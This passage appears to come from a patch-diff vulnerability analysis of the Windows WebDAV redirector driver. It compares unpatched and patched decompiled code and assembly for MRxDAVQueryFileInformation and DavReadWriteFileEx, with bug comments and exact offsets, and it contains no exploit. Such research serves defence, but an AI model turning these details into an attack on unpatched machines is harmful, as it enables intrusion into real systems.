&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// AllocationSize.LowPart&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x04&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// AllocationSize.HighPart&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// EndOfFile.LowPart&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// EndOfFile.HighPart&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// BUG: DeletePending hardcoded to 0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// Directory/reparse flag&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// BUG: NumberOfLinks = FCB+0xE8 (not a link count)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// PATCHED&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x04&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x08&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// FIX: NumberOfLinks = 1 (constant)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// FIX: DeletePending = real FCB state&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding #2 — &lt;code&gt;DavReadWriteFileEx&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// IRP_NOCACHE set unconditionally&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// PATCHED — new caller-supplied int32 parameter&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;// IRP_NOCACHE only when caller&amp;#39;s flag says so&lt;/span&gt;
&lt;span class="c1"&gt;// a10 is supplied by callers as *(*(RX_CONTEXT + 0x28) + 0x10)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Supporting changes&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// MRxDAVCreate (patched only) — disables RDBSS local buffering for WebDAV files&lt;/span&gt;
&lt;span class="n"&gt;RxDisableLocalBuffering&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RX_CONTEXT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// FCB&lt;/span&gt;

&lt;span class="c1"&gt;// MRxDAVCreateContinuation — drops FILE_NO_INTERMEDIATE_BUFFERING&lt;/span&gt;
&lt;span class="c1"&gt;//   UNPATCHED: ZwCreateFile(..., *(arg2 + 0x20c) | 8, ...)&lt;/span&gt;
&lt;span class="c1"&gt;//   PATCHED:   ZwCreateFile(..., *(arg2 + 0x20c),     ...)&lt;/span&gt;

&lt;span class="c1"&gt;// MRxDAVReadContinuation / MRxDAVWriteContinuation — thread the flag into DavReadWriteFileEx&lt;/span&gt;
&lt;span class="c1"&gt;//   UNPATCHED: DavReadWriteFileEx(...)&lt;/span&gt;
&lt;span class="c1"&gt;//   PATCHED:   DavReadWriteFileEx(..., *(*(RX_CONTEXT + 0x28) + 0x10), ...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding #1 — &lt;code&gt;MRxDAVQueryFileInformation&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched, &lt;code&gt;FileStandardInformation&lt;/code&gt; success path&lt;/strong&gt; (&lt;code&gt;loc_1C001EB6F&lt;/code&gt;, size check passed at &lt;code&gt;0x1C001EB6F: cmp ebp, 18h&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; rsi = FCB, rdi = output buffer, bl = 0 (xor ebx,ebx at entry)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBA9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; AllocationSize.LowPart&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBAC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; mask Directory/reparse flag&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBB0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBB2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; output size = 24&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBB8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; AllocationSize.HighPart&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBBB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBBE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; EndOfFile.LowPart&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBC1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C001EBC4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; EndOfFile.HighPart&lt;/span&gt;
